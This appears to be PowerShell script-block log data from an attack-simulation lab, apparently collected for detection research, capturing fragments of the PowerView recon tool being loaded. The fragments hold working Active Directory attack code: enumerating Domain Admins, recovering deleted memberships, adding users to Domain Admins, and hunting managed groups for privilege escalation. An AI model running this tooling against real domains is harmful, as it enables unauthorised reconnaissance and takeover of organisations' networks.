[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[Parameter(ParameterSetName = 'UserGroupIdentity')]
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Alias('AllowDelegation')]
[Switch]
$UserAllowDelegation,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Parameter(ParameterSetName = 'ShowAll')]
[Switch]
$ShowAll,
[Switch]
$Stealth,
[String]
[ValidateSet('DFS', 'DC', 'File', 'All')]
$StealthSource = 'All',
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherAr88d5cf98-8bd5-4613-a590-2eb6eb668066C:\Users\Administrator\Documents\WindowsPowerShell\Modules\Powersploit\Recon\PowerView.ps1
4104132150x0187766Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2852
}
catch {
$MemberDN = $Null
$MemberDomain = $Null
}
if ($Properties.samaccountname) {
# forest users have the samAccountName set
$MemberName = $Properties.samaccountname[0]
}
else {
# external trust users have a SID, so convert it
try {
$MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments
}
catch {
# if there's a problem contacting the domain to resolve the SID
$MemberName = $Properties.cn[0]
}
}
if ($Properties.objectclass -match 'computer') {
$MemberObjectClass = 'computer'
}
elseif ($Properties.objectclass -match 'group') {
$MemberObjectClass = 'group'
}
elseif ($Properties.objectclass -match 'user') {
$MemberObjectClass = 'user'
}
else {
$MemberObjectClass = $Null
}
$GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
$GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
$GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN
$GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass
$GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
$GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember')
$GroupMember
# if we're doing manual recursion
if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) {
Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN"
$SearcherArguments['Identity'] = $MemberDN
$Null = $SearcherArguments.Remove('Properties')
Get-DomainGroupMember @SearcherArguments
}
}
}
$GroupSearcher.dispose()
}
}
}
function Get-DomainGroupMemberDeleted {
<#
.SYNOPSIS
Returns information on group members that were removed from the specified
group identity. Accomplished by searching the linked attribute replication
metadata for the group using Get-DomainObjectLinkedAttributeHistory.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObjectLinkedAttributeHistory
.DESCRIPTION
Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute
replication metadata for the specified group. These are cases where the
'Version' attribute of group member in the replication metadata is even.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGroupMemberDeleted | Group-Object GroupDN
Count Name Group
----- ---- -----
2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test...
3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t...
.EXAMPLE
Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local
GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local
TimeFirstAdded : 2017-06-13T23:07:43Z
TimeDeleted : 2017-06-13T23:26:17Z
LastOriginatingChange : 2017-06-13T23:26:17Z
TimesAdded : 2
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local
TimeFirstAdded : 2017-06-13T22:20:02Z
TimeDeleted : 2017-06-13T23:26:17Z
LastOriginatingChange : 2017-06-13T23:26:17Z
TimesAdded : 5
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
.OUTPUTS
PowerView.DomainGroupMemberDeleted
Custom PSObject with translated replication metadata fields.
.LINK
https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.DomainGroupMemberDeleted')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'msds-replvaluemetadata','distinguishedname'
'Raw' = $True
'LDAPFilter' = '(objectCategory=group)'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
Get-DomainObject @SearcherArguments | ForEach-Object {
$ObjectDN = $_.Properties['distinguishedname'][0]
ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
if ($TempObject) {
if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) {
$Output = New-Object PSObject
$Output | Add-Member NoteProperty 'GroupDN' $ObjectDN
$Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn
$Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated
$Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
$Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2)
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
$Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted')
$Output
}
}
else {
Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
}
}
}
}
}
function Add-DomainGroupMember {
<#
.SYNOPSIS
Adds a domain user (or group) to an existing domain group, assuming
appropriate permissions to do so.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified -GroupIdentity,
which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For
each entry in -Members, each member identity is similarly searched for and added
to the group.
.PARAMETER Identity
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
specifying the group to add members to.
.PARAMETER Members
One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName
(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114),
or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202).
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y'
Adds harmj0y to 'Domain Admins' in the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
Creates the 'andy' user with the specified description and password, using the specified
alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
and the alternate credentials.
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('MemberIdentity', 'Member', 'DistinguishedName')]
[String[]]
$Members,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$ContextArguments = @{
'Identity' = $Identity
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$GroupContext = Get-PrincipalContext @ContextArguments
if ($GroupContext) {
try {
$Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity)
}
catch {
Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_"
}
}
}
PROCESS {
if ($Group) {
ForEach ($Member in $Members) {
if ($Member -match '.+\\.+') {
$ContextArguments['Identity'] = $Member
$UserContext = Get-PrincipalContext @ContextArguments
if ($UserContext) {
$UserIdentity = $UserContext.Identity
}
}
else {
$UserContext = $GroupContext
$UserIdentity = $Member
}
Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'"
$Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity)
$Group.Members.Add($Member)
$Group.Save()
}
}
}
}
function Remove-DomainGroupMember {
<#
.SYNOPSIS
Removes a domain user (or group) from an existing domain g88d5cf98-8bd5-4613-a590-2eb6eb668066C:\Users\Administrator\Documents\WindowsPowerShell\Modules\Powersploit\Recon\PowerView.ps1
4104132150x0187765Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2752 : Domain Admins
GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
MemberDomain : dev.testlab.local
MemberName : user1
MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local)))
GroupDomain : dev.testlab.local
GroupName : Domain Admins
GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
MemberDomain : dev.testlab.local
MemberName : Administrator
MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-339048670-1233568108-4141518690-500
.OUTPUTS
PowerView.GroupMember
Custom PSObject with translated group member property fields.
.LINK
http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.GroupMember')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(ParameterSetName = 'ManualRecurse')]
[Switch]
$Recurse,
[Parameter(ParameterSetName = 'RecurseUsingMatchingRule')]
[Switch]
$RecurseUsingMatchingRule,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'member,samaccountname,distinguishedname'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ADNameArguments = @{}
if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
}
PROCESS {
$GroupSearcher = Get-DomainSearcher @SearcherArguments
if ($GroupSearcher) {
if ($PSBoundParameters['RecurseUsingMatchingRule']) {
$SearcherArguments['Identity'] = $Identity
$SearcherArguments['Raw'] = $True
$Group = Get-DomainGroup @SearcherArguments
if (-not $Group) {
Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity"
}
else {
$GroupFoundName = $Group.properties.item('samaccountname')[0]
$GroupFoundDN = $Group.properties.item('distinguishedname')[0]
if ($PSBoundParameters['Domain']) {
$GroupFoundDomain = $Domain
}
else {
# if a domain isn't passed, try to extract it from the found group distinguished name
if ($GroupFoundDN) {
$GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
}
Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned."
$GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))"
$GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName'))
$Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]}
}
$Null = $SearcherArguments.Remove('Raw')
}
else {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$GroupSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GroupSearcher) {
Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
$GroupName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$GroupName)"
$SearcherArguments['Domain'] = $GroupDomain
Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'"
$GroupSearcher = Get-DomainSearcher @SearcherArguments
}
}
else {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)"
try {
$Result = $GroupSearcher.FindOne()
}
catch {
Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_"
$Members = @()
}
$GroupFoundName = ''
$GroupFoundDN = ''
if ($Result) {
$Members = $Result.properties.item('member')
if ($Members.count -eq 0) {
# ranged searching, thanks @meatballs__ !
$Finished = $False
$Bottom = 0
$Top = 0
while (-not $Finished) {
$Top = $Bottom + 1499
$MemberRange="member;range=$Bottom-$Top"
$Bottom += 1500
$Null = $GroupSearcher.PropertiesToLoad.Clear()
$Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange")
$Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname')
$Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname')
try {
$Result = $GroupSearcher.FindOne()
$RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
$Members += $Result.Properties.item($RangedProperty)
$GroupFoundName = $Result.properties.item('samaccountname')[0]
$GroupFoundDN = $Result.properties.item('distinguishedname')[0]
if ($Members.count -eq 0) {
$Finished = $True
}
}
catch [System.Management.Automation.MethodInvocationException] {
$Finished = $True
}
}
}
else {
$GroupFoundName = $Result.properties.item('samaccountname')[0]
$GroupFoundDN = $Result.properties.item('distinguishedname')[0]
$Members += $Result.Properties.item($RangedProperty)
}
if ($PSBoundParameters['Domain']) {
$GroupFoundDomain = $Domain
}
else {
# if a domain isn't passed, try to extract it from the found group distinguished name
if ($GroupFoundDN) {
$GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
}
}
}
ForEach ($Member in $Members) {
if ($Recurse -and $UseMatchingRule) {
$Properties = $_.Properties
}
else {
$ObjectSearcherArguments = $SearcherArguments.Clone()
$ObjectSearcherArguments['Identity'] = $Member
$ObjectSearcherArguments['Raw'] = $True
$ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass'
$Object = Get-DomainObject @ObjectSearcherArguments
$Properties = $Object.Properties
}
if ($Properties) {
$GroupMember = New-Object PSObject
$GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain
$GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
$GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN
if ($Properties.objectsid) {
$MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value)
}
else {
$MemberSID = $Null
}
try {
$MemberDN = $Properties.distinguishedname[0]
if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') {
try {
if (-not $MemberSID) {
$MemberSID = $Properties.cn[0]
}
$MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments
if ($MemberSimpleName) {
$MemberDomain = $MemberSimpleName.Split('@')[1]
}
else {
Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
$MemberDomain = $Null
}
}
catch {
Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN"
$MemberDomain = $Null
}
}
else {
# extract the FQDN from the Distinguished Name
$MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}88d5cf98-8bd5-4613-a590-2eb6eb668066C:\Users\Administrator\Documents\WindowsPowerShell\Modules\Powersploit\Recon\PowerView.ps1
4104132150x0187764Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2652ces.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context)
# set all the appropriate group parameters
$Group.SamAccountName = $Context.Identity
if ($PSBoundParameters['Name']) {
$Group.Name = $Name
}
else {
$Group.Name = $Context.Identity
}
if ($PSBoundParameters['DisplayName']) {
$Group.DisplayName = $DisplayName
}
else {
$Group.DisplayName = $Context.Identity
}
if ($PSBoundParameters['Description']) {
$Group.Description = $Description
}
Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'"
try {
$Null = $Group.Save()
Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created"
$Group
}
catch {
Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_"
}
}
}
function Get-DomainManagedSecurityGroup {
<#
.SYNOPSIS
Returns all security groups in the current (or target) domain that have a manager set.
Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl
.DESCRIPTION
Authority to manipulate the group membership of AD security groups and distribution groups
can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically
used to delegate management authority to distribution groups, but Windows supports security groups
being managed in the same way.
This function searches for AD groups which have a group manager set, and determines whether that
user can manipulate group membership. This could be a useful method of horizontal privilege
escalation, especially if the manager can manipulate the membership of a privileged group.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv
Store a list of all security groups with managers in group-managers.csv
.OUTPUTS
PowerView.ManagedSecurityGroup
A custom PSObject describing the managed security group.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ManagedSecurityGroup')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))'
'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname'
}
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
